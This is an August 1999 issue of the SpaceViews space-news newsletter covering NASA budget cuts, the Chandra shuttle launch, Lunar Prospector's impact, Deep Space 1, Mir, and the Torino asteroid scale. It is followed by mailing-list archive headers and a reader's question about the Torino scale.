House Appropriations Committee voted Friday, July 30 to restore $400 million to NASA's FY 2000 budget, the agency is still facing a cut of more than $900 million from President Clinton's original request and $1 billion from its 1999 budget. The original cuts disproportionately affected space science, accounting for $640 million of the original $1.3 billion, or 29 percent of the original space science budget. If enacted, the cuts would have canceled the Space Infrared Telescope Facility (SIRTF) space telescope, the Contour comet mission, future Discovery and Explorer missions, and Mars missions beyond 2001, as well as research into future missions to Europa, Pluto, and elsewhere. The full House Appropriations Committee did vote to restore $400 million to the space science budget by killing the Americorps community service program. That funding will be used to restore SIRTF, Mars exploration, and some technology and research funds. Also heavily hit was NASA's earth sciences programs, with $150 million cut into the Earth Observing System as well as cancellation of the LightSAR radar mission and the Triana Earth-observing camera. On the other hand, the space station and space shuttle programs survived with a combined cut of just $250 million. The space station budget actually still increases from 1999 to 2000, but only by $100 million instead of the planned $200 million. A chorus of protests, from NASA, members of Congress, and space activists, was heard after the original cuts were announced. ""These cuts would gut space exploration,"" NASA administrator Dan Goldin said. ""They may force the closure of one to three NASA centers, and significant layoffs would most certainly follow."" Because the cuts are so tightly focused on Earth and space sciences, the centers threatened with closure include the Jet Propulsion Laboratory (JPL) and the Goddard Space Flight Center, two facilities usually not considered prime targets for closure in the past. ""If NASA were faced with the reality of having more centers than it needed, I would certainly expect JPL would be on the list,"" JPL deputy director Larry Dumas told the Pasadena Star-News newspaper. Those claims were disputed by Rep. James Sensenbrenner, chairman of the House Science Committee. ""Their claims that NASA will have to close centers and initiate layoffs... are disingenuous at best and purposely inflammatory at worst,"" he claimed. ""These are scare tactics, pure and simple, and should be rejected as such."" NASA's budget has been slowly but steadily declining throughout Goldin's tenure as NASA administrator, but the proposed cuts are far sharper than anything the agency has experienced before. ""Up until now, NASA has always stepped up to the budgetary challenge. This time the NASA team plans to fight,"" Goldin said. ""I won't feel better until every nickel is restored."" The National Space Society issued an alert asking its members to contact members of the House Appropriations Committee. ""We cannot stand by and allow the House of Representatives to act so irresponsibly and play politics with the future of our national space program,"" the society said in a statement. The full House of Representatives is expected to take up the appropriations bill this week. The Senate has yet to act on appropriations legislation for the space agency, and may not do so until after the August recess. President Clinton has also promised in the past to veto any appropriations bill that did not include funding for his Americorps program, a potential stumbling block for NASA funding. The long legislative process ahead means there is still time for funding to be restored, or additional cuts to be made. ""This is only the beginning of the process,"" Rep. James Walsh (R-NY), chair of the appropriations subcommittee that made the initial devastating cuts, told the Associated Press. ""We're at about the bottom of the third in a nine-inning ball game."" Shuttle Deploys Chandra Telescope Despite some problems during launch, the shuttle Columbia successfully completed its mission last month to deploy the Chandra X-Ray Telescope. Columbia lifted on on mission STS-93 at 12:31 am EDT (0431 UT) Friday, July 23. The launch had been delayed one day by thunderstorms, and two days before that when a sensor erroneously detected a buildup of hydrogen in an engine compartment seven second before liftoff. The crew, commanded by Eileen Collins, the first woman to command a shuttle mission, completed its primary task seven hours after launch when it deployed the Chandra X-Ray Telescope. The telescope's Inertial Upper Stage (IUS) fired perfectly one hour later, placing the telescope in an elliptical orbit. The telescope's onboard thrusters have been tweaking the orbit into its final version, between 10,000 and 140,000 km (6,200 and 87,000 mi.) above the Earth. After the telescope was deployed, the five-person crew turned their attention to a suite of secondary experiments, ranging from a small ultraviolet telescope mounted in the shuttle to a test of a new hinge for deploying solar arrays to biological tests on the effects of microgravity. While much of the attention during the early phase of the mission focused on Chandra and on Collins, later on in the mission the focus changed to a series of problems that took place during the launch. A short circuit five seconds after launch disabled the controllers for two of the three main engines. Backup controllers took over, but additional malfunctions would have shut down at least one of the engines, requiring an abort and emergency landing. At a post-flight press conference, Collins said she originally thought the warning lights that appeared when the controllers failed were more ordinary lights she had seen on previous launches, then reconsidered when mission controllers advised her and pilot Jeff Ashby to shut down other systems in an effort to keep them from being taken out by the short. ""I thought, 'This isn't right, this isn't what I was expecting,'"" Collins said. ""The next thoughts that are going through my mind are, 'What's our abort capability? If we lose an engine, where are we going to go?'"" At the end of the launch, the main engines shut down a split-second early, placing the shuttle in an orbit 11 km (7 mi.) lower than planned. The early shutdown was traced to a leak of hydrogen coolant from one of the main engine nozzles during launch (see accompanying article below.) The launch problems had no effect on the landing, which took place at 11:20 pm EDT July 27 (0320 UT July 28) at the Kennedy Space Center. Loose Plug Caused Shuttle Hydrogen Leak A loose plug fell through an engine nozzle, puncturing three coolant tubes and causing the hydrogen leak noticed during the STS-93 shuttle mission, NASA investigators said Friday, July 30. According to investigators, the plug, used to seal a liquid oxygen injector tube, fell off as the main engines on the shuttle Columbia were ignited six seconds before liftoff. The engine thrust accelerated the tiny plug, no larger than a small nail, to supersonic speeds as it crashed into the size of the nozzle, weakening the tubes and causing them to rupture. The ruptured tubes allowed liquid hydrogen, used to cool the engine nozzles before being consumed as fuel by the engines themselves, to leak from the shuttle. More than 1,000 kg (2,200 lbs.) of hydrogen leaked out during the ascent into orbit. The leak caused the engine to run up to 55 degrees Celsius (100 degrees Fahrenheit) warmer than normal, in turn consuming an additional 1,800 kg (4,000 lbs.) of liquid oxygen. That led to the shutdown of the main engines a split-second early, placing the shuttle in an orbit 11 km (7 mi.) lower than planned. Shuttle officials said that the leak could not have caused an explosion, and did not immediately endanger the shuttle. However, if the leak had been larger, the engine temperature would have increased to the point where the engine shut down, forcing an emergency landing either back at the Kennedy Space Center or the transatlantic abort site in Africa. Bill Gerstenmaier, shuttle program manager, told Florida Today that 20 to 40 coolant lines would have had to rupture to overheat and shut down the engine. The plug that damaged the coolant lines was one of two installed to plug a small injector tube, one of several hundred that feed liquid oxygen into the main engine. The tube had become damaged and was plugged to prevent oxygen from leaking and inadvertently mixing with liquid hydrogen. The other plug held, NASA officials said. An investigation into the coolant leak and the exact series of events that caused it is ongoing. Also still under investigation is an electrical short five seconds after launch that disabled two of the six computers that serve as engine controllers. Technicians are expected to take some time to check Columbia's wiring to find the exact location of the short circuit. It's not currently known if either problem will push back the next shuttle launch, Endeavour's mid-September launch on STS-99, a radar mapping mission. Lunar Prospector Ends Mission with Crash The Lunar Prospector spacecraft ended its highly-successful 18-month mission with a deliberate crash into a crater near the lunar south pole July 31 in a search for water. Prospector crashed near the lunar south pole at 5:52 am EDT (0952 UT) July 31, project officials reported. The impact took place a minute later that previously planned because a thruster burn early Friday that placed the spacecraft in an elliptical orbit to prepare for the impact was slightly stronger than planned. Neither amateurs nor professionals reported seeing a plume of dust that some thought the spacecraft's impact would raise. The fact that no impact plume was seen, NASA officials said, actually increases the likelihood that Prospector hit its desired impact site deep within a shaded crater near the lunar south pole. Observations by a large group of terrestrial telescopes, including the Keck Observatory and telescopes in Arizona and Texas, as well as the Hubble Space Telescope and the Submillimeter Wave Astronomy Satellite (SWAS), were made in a search for water that would have been thrown up by the impact. Analysis of the data is expected to take up to several months. ""Once again, Prospector has done everything we have asked of it,"" said Alan Binder, principal investigator for Lunar Prospector. ""This mission provided ten times better data than we expected. The spacecraft performed flawlessly to its very end."" In its final days, the spacecraft had to survive a partial lunar eclipse July 28 that kept the spacecraft out of the Sun for several hours. To conserve the limited battery power on the spacecraft non-essential systems, including most of the scientific instruments, were turned off. Project officials said the spacecraft made it through the eclipse with no problems. Prospector was crashed into the Moon at the end of its 18-month mission in an effort to directly detect any water ice that is believed to be hidden in permanently-shadowed craters near the lunar poles. Prospector was targeted to impact in one such shadowed area of a 50-km (30-mi.) crater near the lunar south pole, although the exact site of impact was not known. Scientists cautioned that the odds of success for this impact were small, no more than 10 percent, according to David Goldstein, the University of Texas scientist who proposed the crash. If water was detected, however, it would lay to rest nearly all doubts that ice exists at the lunar poles. Two Stanford University scientists earlier in July cautioned, though, that any water near the lunar poles could be locked up in hydrated minerals similar to concrete. The impact, they believed could librate water from those minerals that does not exist in free form on or near the lunar surface. The crash also deposited on the Moon the ashes of the late geologist Eugene Shoemaker, a pioneer in lunar research in the 1960s who was killed in an auto accident in Australia two years ago. A sample of his cremated ashes were included on the Lunar Prospector spacecraft, fulfilling a desire he had to travel to the Moon. Deep Space 1 Completes Asteroid Flyby NASA's Deep Space 1 spacecraft capped off its technology-development mission with a successful flyby of a small asteroid July 29, although a mispointed camera may mean no close-up images of the asteroid. DS1 passed within about 15 kilometers (9 miles) of asteroid 9969 Braille, formerly known as 1992 KD, at 12:46 am EDT (0446 UT) July 29. Mission officials initially reported the flyby was a success, returning images and other data about the small asteroid. However, mission scientists reported Thursday afternoon, July 29, that DS1's camera was misaimed during the closest portion of the flyby and did not return any closeups of the asteroid. The spacecraft used an onboard navigation system called AutoNav to guide itself past the asteroid safely. AutoNav was one of a dozen technologies tested by the spacecraft during the mission. ""This is a dramatic finale to an amazingly successful mission,"" said Marc Rayman, deputy mission manager. ""With AutoNav's successful piloting of the spacecraft, we've completed the testing and validation of the 12 new technologies onboard and possibly acquired important science data, including photos."" Mission officials later told the Associated Press that the camera lost the asteroid about 20 minutes before closest approach, when the spacecraft was still more than 16,000 km (10,000 mi.) from the asteroid. ""This is analogous to mispointing a camera and getting a blank field of view,"" project scientist Robert Nelson told the AP. Data from other instruments initially appeared to be okay, however. Later reports indicated that some infrared images were obtained fairly close to, but not at, the time of closest approach. No images have yet been released, but a press conference has been scheduled for August 3 to report on the quantity and quality of the science data returned during the flyby. The flyby was not without problems. About 16 hours before closest approach a software glitch triggered a ""safing event"", when the spacecraft shut down nonessential systems and waited for instructions from Earth. The problem was corrected about six hours later. ""This has been by far the most challenging, dramatic and stressful day on the project,"" said Rayman. ""The last 16 hours before the flyby were really, really exciting. We had the safing event, we recovered from it and we managed to squeeze in a trajectory correction maneuver to update Deep Space 1's flight path."" Any scientific results will be considered an added bonus for the mission, whose primary purpose is technology development. Since its launch in October, DS1 tested technologies ranging from an ion engine to advanced solar panels to an autonomous control system. The mission is officially scheduled to end in September. There has been past discussion of an extended mission, which would include two comet flybys in 2001, but the precarious nature of NASA's space sciences budget make the probability of obtaining such funding unlikely. The asteroid received its new name just a few days before the flyby. The name was selected by the discoverers of the asteroid, Eleanor Helin and David Lawrence, from a set of finalists chosen by a Planetary Society panel as part of a competition run by the organization. Mir Cosmonauts Make Final Spacewalks Two Russian cosmonauts made two spacewalks late last month that are likely to be the final spacewalks performed outside the Mir space station. Cosmonauts Viktor Afanasyev and Sergei Avdeyev spent six hours outside Mir on July 23 in a largely unsuccessful effort. They attempted to deploy a large Russian-Georgian antenna designed to communicate with other satellites, but were unable to open the antenna after an extended effort. They also attempted to search the exterior of part of the station in a search for an air leak first noticed several weeks ago, but were unable to locate the source of the leak. Afanasyev and Avdeyev performed a second spacewalk July 28. During that five-hour, 22-minute spacewalk, they were finally able to fully deploy the communications antenna. They also also installed equipment to study the effects of electric and magnetic fields on the station, as well as equipment which the Russian Interfax news agency described as being able to detect air leaks from the station, although the two did not resume their search for an existing leak from the station that they attempted in their previous spacewalk. During both spacewalks the third member of the Mir crew, French cosmonaut Jean-Pierre Haignere, remained in the station and monitored the progress of the spacewalkers. Russian officials downplayed any mention of the leak, saying it was not serious to the current crew. However, officials said a week earlier that if the leak was not fixed, the station would be uninhabitable within three months. That shouldn't pose a problem for the current crew, which is now scheduled to depart the station August 28. The station will be left unoccupied after that, with the possible exception of a short-term visit to Mir in December that Russian officials discussed earlier this year. Unless private funding can be found, Russia will deorbit Mir in early 2000 over the Pacific Ocean. Turbopump Failure Cause of Proton Crash A fire in the turbopump of one of the engines in the second stage of a Proton booster caused it to crash several minutes after launch July 5, Russian officials revealed this week. In an interview with the Russian Izvestia news service July 27, Anatoli Kiselev, Director-General of Khrunichev State Research, said that a faulty weld in the turbopump triggered a fire which destroyed the second stage and caused the rest of the booster to crash downrange from its Baikonur, Kazakhstan launch site. ""The fire was started by a stray aluminum particle in a seam between the cover and the apparatus as a result of a defect in a weld,"" Kiselev told Izvestia. Such stray particles can be blown in by a turbopump or enter though the fueling equipment as a result of personnel neglect. Using ""super advanced U.S. equipment"" to simulate the accident, Kiselev said a particle weighing as little as 0.2 grams is sufficient to start a fire, and that a weld as little as 25 percent below the norm can harbor such particles. Telemetry returned by the rocket showed that the first four minutes and 37 seconds of its July 5th flight were normal. At that point, however, the number three engine of the second stage destroyed itself in a fire, also taking out portions of the rear of the stage and the bottom of the second stage fuel tank. Within a half-second the fuel and oxidizer tanks of the stage depressurized, destroying the stage. The third stage and the Breeze-M upper stage, making its inaugural flight, survived the destruction of the second stage but did not have enough velocity to reach orbit. Aerodynamic and heat loads destroyed these stages at an altitude of 30 km (18 mi.), scattering debris over portions of Siberia and Kazakhstan. Kiselev said the Russian State Commission investigating the launch failure will recommend that the turbopump design be upgraded, and a filter be added that can catch spurious particles that can start such fires. The fueling equipment may also be upgraded. ""We were planning to perform all these upgrades in 2000 anyway, but this failure presses us to do it earlier than we expected,"" Kiselev said. ""An important thing is that this failure is of a singular manufacturing nature,"" he added. ""The failure has not lowered our estimate of Proton reliability beyond the reference level,"" which is a success rate of 96 percent. The timeframe for these upgrades, and the return to flight of the Proton, is unknown. Kiselev said he believes an additional four Western payloads can be launched on Protons by the end of the year. This would require Kazakhstan to lift its ban on Proton launches which it put into place after the crash. Negotiations between Russian and Kazakhstan on the Proton ban are ongoing. A Proton will also be used late this year to launch the Zvezda service module for the International Space Station. International Launch Services, the joint venture between Lockheed Martin, Khrunichev, and Energia, said the Russian State Commission will likely release their formal report on the launch accident in the first or second week in August. They released the Izvestia report as they cannot share technical information with Khrunichev until the U.S. federal government approves a license for them to do so. Roton Prototype Makes First Flight Test A prototype of Rotary Rocket Company's Roton reusable launch vehicle made its first test flight Friday, July 23, hovering a few meters off the ground for several minutes. The Roton Atmospheric Test Vehicle (ATV) successfully performed three takeoff and landing maneuvers during the flight test, which lasted 4 minutes and 40 seconds, just under the planned 5-minute duration. The Roton ATV hovered at an altitude of about 2.4 meters (8 feet) during the test, within the planned range of 1.5 to 3 meters (5 to 10 feet). ""It is this demonstrated performance that provides creditability to Rotary Rocket's aims of achieving low-cost space flight,"" said Rotary Rocket president and CEO Gary Hudson. The flight test was performed with a crew of two onboard: pilot Dr. Marti Sarigul-Klijn, a retired Navy commander and Roton Chief Engineer, with Brian Binnie, also a retired Navy commander and Roton Flight Test Director, as copilot. Both are experienced test pilots. The test flight took place Friday morning, July 23, at Rotary Rocket's facilities in Mojave, California, but was not reported until Wednesday, July 28. Rotary officials had declined comment on the test flight until Wednesday's announcement. The Roton ATV is a full-scale prototype designed to test the flight characteristics of the Roton launch vehicle in the atmosphere, particularly during approach and landing. The vehicle has no rocket engines but does have a helicopter-like rotor, with small thrusters on the tips of the blades, that is used to propel the vehicle in the atmosphere. The ATV will eventually be used on longer flights from altitudes of over 1,000 meters (3,300 feet) to test the approach and landing characteristics of the vehicle. No timeline for those tests were given by Rotary officials. A future test vehicle, the Roton PTV, will be used to test the launch characteristics of the vehicle. That version will incorporate a rocket engine based on NASA's Fastrac engine under development. The company selected the Fastrac over its own RocketJet engine design during a reorganization in June. The company plans to have the full version of the Roton single-stage reusable launch vehicle enter commercial service in 2001, funding permitting. ""Richter Scale"" of Asteroid Impact Threats Announced The International Astronomical Union has officially endorsed Thursday, July 22, a new system of communicating the threat of potential collisions by near-Earth asteroids. The Torino Scale, endorsed by the IAU at the United Nations UNISPACE III meeting in Vienna, is a 0-10 scale designed to easily express the danger posed by a near-Earth asteroid collision. The scale is named after the Italian city where it was adopted by an IAU working group in June. The scale is analogous to the Richter Scale used to measure the intensity of earthquakes as well as similar scales to gauge the strength of hurricanes and tornadoes. However, the Torino scale takes into account both the potential damage an asteroid could do as well as the probability of a collision. On the Torino scale, an asteroid measuring 0 would have no chance of hitting Earth, or would be unable to do reach the ground if it encountered the Earth. An asteroid measuring 10 would be certain to hit the Earth and cause global damage. An 8, 9 or 10 on the Torino scale would correspond to a certain collision of varying magnitudes. Lower numbers would be used to describe less certain impacts of varying strengths. Currently all known asteroids measure a 0 on the Torino scale. Some asteroids, such as 1999 AN10, at one time measured a 1 on the scale, meaning that they had about an equal probability of striking the Earth as a random, undiscovered object of similar size. These asteroid have been downgraded, though, after new observations led to refined orbits that reduced or eliminated any impact probability. The scale was developed by Richard Binzel, a planetary astronomy professor at MIT, as a way to better communicate the real dangers -- or lack of danger -- posed by near-Earth asteroids. ""Scientists haven't done a very good job of communicating to the public the relative danger of collision with an asteroid,"" he said. ""The Torino scale should help us clearly inform but not confuse the public."" An asteroid impact, Binzel said, ""is a case of a high-consequence but low-probability event. It's difficult in human nature to figure out what level of anxiety we should assign to an approaching asteroid."" The adoption of the Torino scale comes at a time when the rate of near-Earth asteroid discoveries has sharply increased, thanks to sophisticated detection systems like the LINEAR project at MIT's Lincoln Laboratory and long-term searches like Spacewatch in Arizona. The increased discovery rate has led to impact ""scares"" like 1999 AN10 this year and 1997 XF11 last year, when newly-discovered asteroids were found to have small but non-zero impact probabilities in the coming decades. Those probabilities decreased after new observations led to refined orbits. ""What I find especially important about the Torino impact scale is that it comes in time to meet future needs as the rate of discoveries of near-Earth objects continues to increase,"" said Hans Rickman, IAU Assistant General Secretary. Binzel hopes that the Torino scale will make as easy to communicate the threat of an asteroid collision as the Richter scale does to describe the intensity of an earthquake. ""If you tell a Californian that an earthquake registering one on the Richter scale was going to hit tomorrow, he would say, 'So what?'"" he said. ""If you were talking about a six, that would be different."" SpaceViews Event Horizon August 4 Ariane 4 launch of the Indonesian Telekom-1 communications satellite from Kourou, French Guiana at 6:48 pm EDT (2248 UT) August 12-15 Mars Society 1999 Conference, Boulder, CO August 14 Galileo flyby of the Jovian moon Callisto August 15 Delta 2 launch of four Globlastar satellites from Cape Canaveral, Florida at 1:09 am EDT (0509 UT) August 18 Cassini flyby of Earth September 23-26 Space Frontier Conference 8, Los Angeles, CA Other News Delta 2 Launch: A Delta 2 successfully launched four more Globalstar communication satellites early Sunday, July 25. The Delta 2 lifted off from pad 17A at Cape Canaveral at 3:46 am EDT (0746 UT), at the beginning of the first of two available launch windows. The launch was the third Delta 2 launch of Globalstar satellites in a six-week period, after launches on June 10 and July 10. A fourth launch, the last in this cluster of launches, is planned for mid-August, after the Cape Canaveral launch facilities are reopened after range modernization work. With the July 25 launch, 32 Globalstar satellites are now in orbit, 20 from four Delta 2 launches and 12 from three Soyuz launches. Three more Soyuz and one more Delta 2 will be used this fall to complete the 48-satellite constellation plus fly four on-orbit spares. Atlas 3 Loses Payload: The first launch of Lockheed Martin's new Atlas 3 booster will likely be delayed after it lost its first payload to Ariane July 26. Loral Space and Communications announced that it would launch its Telstar 7 communications satellite on an Ariane 4 in September, and not on the first flight of the Atlas 3A as originally planned. The launch of the Atlas 3A, an upgraded version of the Atlas 2 using Russian-designed RD-180 main engines and a Centaur upper stage, has been delayed while an investigation continued into the failure of an RL-10 engine on a Delta 3 launch in May similar to the engine used by the Centaur. Titan's Hydrocarbon Oceans: New images from the Keck Observatory released July 28 have provided the best view yet of Titan's surface and show evidence of possible oceans of ethane, methane, or other hydrocarbons. The images, taken at infrared wavelengths that can peer through the moon's thick smog, show evidence of bright and dark regions on the surface that scientists interpret as areas of land and ocean, respectively. The images are not the first view of the surface of the moon: The Hubble Space Telescope provided similar views at near-infrared wavelengths in 1994. However, the Keck images are sharper, thanks to a process known as ""speckle interferometry"" that combines a large number of short snapshots are processed together to remove the blurring effects of Earth's turbulent atmosphere. Keeping Track of Near-Earth Asteroids: Despite several new search efforts and a decrease in the estimated overall population, most of the near-Earth asteroids (NEAs) that pose the greatest threat to the Earth have yet to be discovered, astronomers reported at a conference Tuesday, July 27. While new observations have led some astronomers to believe that there are only 500-1000 NEAs 1 km (0.6-mi.) or larger in diameter, only 15-20% of these NEAs have been discovered. At current discovery rates the rest will be found in 20 to 40 years, although quadrupling the discovery rate should allow 90% of these NEAs to be discovered in the next 10 years, the goal of the proposed Spaceguard program. Interesting NEAs: Some NEAs that have already been discovered have proven to be interesting objects. Images and other data collected by the Near-Earth Asteroid Rendezvous (NEAR) spacecraft's flyby of Eros show the asteroid is likely a solid body, and not a rubble pile like other asteroids. Two papers published in the July 23 issue of Science show that Eros more closely resembles the main-belt asteroid Ida rather than Mathilde, a rubble-pile asteroid NEAR flew by in 1997. A much smaller NEA, 1998 KY26, is also likely a solid body, in part because its 10-minute rotation period makes it the most rapidly-rotating solar system body yet discovered. A compositional analysis of the asteroid, based on telescopic observations in June, show that the asteroid is a carbonaceous chondrite, rich with water. ""This asteroid is quite literally an oasis for future space explorers,"" said JPL's Steve Ostro. Indemnification, Russia Legislation: The House Science Committee's space subcommittee passed bills Thursday, July 29 that would extend commercial launch indemnification and would tie any NASA funding of Russia's space program to missile nonproliferation efforts. HR 2607, the Commercial Space Transportation Competitiveness Act of 1999, would extend for five years the indemnification on catastrophic launch accidents that is currently set to expire at the end of 1999. HR 1883, Iran Non-Proliferation Act of 1999., would prevent NASA from sending any money to the Russian Space Agency in the event that the administration determined that Russia was helping Iran develop long-range ballistic missiles. The subcommittee passed two amendments that would allow funding for safety reasons, or to complete and build the space station's service module, even if a ban was in effect. *** Articles *** Getting Oriented in Weightlessness: Results of a Space Shuttle Experiment by Dr. Charles M. Oman ""What's up?"" is not a trivial question for astronauts in weightlessness. Gravitational ""down"" cues are missing, so they must depend on vision to maintain their spatial orientation. Many astronauts seem to maintain a local ""subjective"" vertical frame of reference, which accounts for their occasional reports of inversion illusions, visual reorientation illusions, and fear of falling during space walks, all of which can sometimes trigger space motion sickness. Previous Spacelab studies using rolling dotted cylinder displays showed increased susceptibility to roll circular vection (a visually induced motion illusion) during the first week in space. However, information on linear vection susceptibility, and perceptual responses to structured visual scenes remained important pieces of the scientific puzzle which were missing prior to Neurolab. The availability of the Neurolab Virtual Environment Generator on the STS-90 shuttle mission in April 1998 allowed us to employ a wider repertoire of stimuli, including not only dotted cylinders, but also moving corridors, and tilted or rolling spacecraft interiors. This was the first use of virtual reality techniques in space. We studied both circular and linear vection, visual reorientation illusions, and subjective reference frame effects on figure recognition and shading interpretation. We found that susceptibility to both linear as well as circular vection illusion was increased in weightlessness for three test subjects. Both vection measures were consistently reduced in flight when the subject wore a harness which held them ""down"" to the deck. We also tested the effects of stationary spacecraft interior scenes tilted at various angles on the perceived vertical -- a 0-G extension of classic tilted room experiments. Responses of three subjects did not change in orbit. All of them were either strongly dependent or strongly independent on visual scene tilt in preflight tests. However, one moderately visually independent subject -- as evidenced by sensitivity to scene content and body orientation -- shifted to strong visual dependence in flight, and gradually returned to independence during the first week post flight. No subjects became more visually independent during or after flight. Our tumbling room tests confirmed a consistent increase in circular vection in orbit. Visual reorientation illusion frequency in supine testing preflight and in flight were similar for most subjects. The distribution of scene angles at VRI onset showed statistically significant modal tendencies, but were unchanged in 2 of 3 subjects. We had hypothesized that complex figure recognition and interpretation of shape from shading would show effects when the direction of the subjective vertical was manipulated, as it does on Earth, even though gravity is absent. Most subjects had response biases or performed the task inconsistently, which may have masked the effect. However, one subject was able to demonstrate both types of effects consistently, showing that choice of subjective reference frame can have important perceptual consequences for astronauts. Our experiment has been tentatively selected for reflight on the International Space Station, to see how our measures of astronaut spatial orientation change over months, rather than days in. Our Neurolab scientific results, virtual reality methods, and analysis techniques are proving useful in the current research of the National Space Biomedical Research Institute, aimed at developing preflight spatial orientation training as a countermeasure, and understanding how sense of direction is coded in 3 dimensions in the hippocampus. Our findings also broaden our understanding of how elderly people and patients with diseases of the inner ear or hippocampus use visual cues, and why some find certain situations in daily life disorienting -- for example walking or driving at night, in subway stations or supermarket corridors, or in wide screen movie theaters. Dr. Charles M. Oman is director of the Man Vehicle Laboratory at the Massachusetts Institute of Technology. This article was adapted from a final report submitted by Oman and colleagues Ian P. Howard, Ted Carpenter-Smith, Andrew C. Beall, Alan Natapoff, James E. Zacher, and Heather Jenkin. *** CyberSpace *** NASA Apollo 11 30th Anniversary This site, created by the NASA History Office, could be considered the ""official"" site for the 30th anniversary of this historic mission. It's also one of the most comprehensive, with transcripts of interviews with the Apollo 11 crew, biographies of the crew and mission managers, images and movies from the mission, and a list of events to commemorate the 30th anniversary. This site should be one of the first places to turn to for more information about Apollo 11. http://www.hq.nasa.gov/office/pao/History/ap11ann/eagle.html Where Were You July 20, 1969? The title of this site succinctly expresses its purpose: where were you on July 20, 1969, when Apollo 11 landed on the Moon? This site collects the stories of ordinary people from around the world who provide their recollections of this historic event. From those serving in Vietnam -- and those protesting the war at home -- to children and others, this site provides real stories, both funny and touching, from this historic day. http://www.wherewereyou.com/ The N-1 Moon Rocket The N-1 rocket was the Soviet Union's answer to the Saturn 5: a giant booster powerful enough to send cosmonauts on a lunar landing mission. The rocket was never successfully launched, and its development was shrouded in mystery in the West for many years. This site sheds some light on the history of the N-1, including a list of attempted launches, technical details about the booster, and one of the best photos available of the N-1 on the launch pad. http://hometown.aol.com/nodin/N1pages/N1index1.html XRayTelescope.com The Chandra X-Ray Telescope (formerly AXAF), the latest in NASA's series of ""Great Observatories"", has recently gone into orbit. This site, created by the ""Science@NASA"" team at NASA Marshall, provides some background information about the telescope, latest news about its launch, and a gallery of images and video of the telescope. If you ever wanted to know details about Chandra and the science it will perform, this is the place to go. http://xraytelescope.com/ ======== This has been the August 1, 1999, issue of SpaceViews. SpaceViews is also available on the World Wide web from the SpaceViews home page: http://www.spaceviews.com/ or via anonymous FTP from ftp.seds.org: ftp://ftp.seds.org/pub/info/newsletters/spaceviews/text/19990801.txt To unsubscribe from SpaceViews, send mail to: majordomo@spaceviews.com In the body (not subject) of the message, type: unsubscribe spaceviews For editorial questions and article submissions for SpaceViews, including letters to the editor, contact the editor, Jeff Foust, at jeff@spaceviews.com For questions about the SpaceViews mailing list, please contact spaceviews-approval@spaceviews.com. --------------------------------------------------------------------------- ____ | ""SpaceViews"" (tm) -by Boston Chapter // \\ // | of the National Space Society (NSS) // (O) // | Dedicated to the establishment // \\___// | of a spacefaring civilization. --------------------------------------------------------------------------- ---------- - - To NOT receive future newsletters, send this message to our NEW address: - To: majordomo@SpaceViews.com - Subject: anything - unsubscribe SpaceViews - - E-Mail List services provided by Northern Winds: www.nw.net - - SpaceViews (tm) is published for the National Space Society (NSS), - copyright (C) Boston Chapter of National Space Society - www.spaceviews.com www.nss.org (jeff@spaceviews.com) >From VM Tue Aug 3 17:16:00 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""929"" ""Tuesday"" ""3"" ""August"" ""1999"" ""20:12:39"" ""-0400"" ""Curtis L. Manges"" ""clmanges@worldnet.att.net"" nil ""22"" ""starship-design: Am I missing something?"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 929 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id RAA02008 for starship-design-outgoing; Tue, 3 Aug 1999 17:14:44 -0700 (PDT) Received: from mtiwmhc01.worldnet.att.net (mtiwmhc01.worldnet.att.net [204.127.131.36]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id RAA02003 for ; Tue, 3 Aug 1999 17:14:43 -0700 (PDT) Received: from worldnet.att.net ([12.76.96.204]) by mtiwmhc01.worldnet.att.net (InterMail v03.02.07.07 118-134) with ESMTP id <19990804001412.JDVZ10212@worldnet.att.net>; Wed, 4 Aug 1999 00:14:12 +0000 Message-ID: <37A78577.3F6C0F94@worldnet.att.net> X-Mailer: Mozilla 4.61 [en] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""Curtis L. Manges"" From: ""Curtis L. Manges"" Sender: owner-starship-design@lists.uoregon.edu To: ""starship-design@lists.uoregon.edu"" Subject: starship-design: Am I missing something? Date: Tue, 03 Aug 1999 20:12:39 -0400 The following quote was taken from the article, >>""Richter Scale"" of Asteroid Impact Threats Announced<< released on Spaceviews, here: http://www.spaceviews.com/1999/08/ ""Some asteroids, such as 1999 AN10, at one time measured a 1 on the [Torino] scale, meaning that they had about an equal probability of striking Earth as a random, undiscovered object of similar size."" Now, I've got to wonder: if an object is ""undiscovered,"" how we can know anything about its size, or its probability of striking Earth? I feel it's important to clarify this, because it would seem to suggest that our asteroid experts are postulating the likelihoods of specific events, with NO real-world information to base their judgments on. This can't be true, can it? If any of you folks know anything about how these people do their work, I'd enjoy a little bit of enlightenment about it, as I'm sure a lot of us would. Keep looking up, Curtis >From VM Tue Aug 3 17:40:04 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1327"" ""Tuesday"" ""3"" ""August"" ""1999"" ""17:35:02"" ""-0700"" ""Steve VanDevender"" ""stevev@efn.org"" nil ""26"" ""starship-design: Am I missing something?"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 1327 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id RAA05976 for starship-design-outgoing; Tue, 3 Aug 1999 17:35:14 -0700 (PDT) Received: from clavin.efn.org (root@clavin.efn.org [206.163.176.10]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id RAA05962 for ; Tue, 3 Aug 1999 17:35:13 -0700 (PDT) Received: from tzadkiel.efn.org (tzadkiel.efn.org [204.214.99.68]) by clavin.efn.org (8.9.3/8.9.3) with ESMTP id RAA04474 for ; Tue, 3 Aug 1999 17:35:11 -0700 (PDT) Received: (from stevev@localhost) by tzadkiel.efn.org (8.9.3/8.9.3) id RAA06003; Tue, 3 Aug 1999 17:35:03 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14247.35510.436316.48201@tzadkiel.efn.org> In-Reply-To: <37A78577.3F6C0F94@worldnet.att.net> References: <37A78577.3F6C0F94@worldnet.att.net> X-Mailer: VM 6.74 under 20.4 ""Emerald"" XEmacs Lucid Precedence: bulk Reply-To: Steve VanDevender From: Steve VanDevender Sender: owner-starship-design@lists.uoregon.edu To: 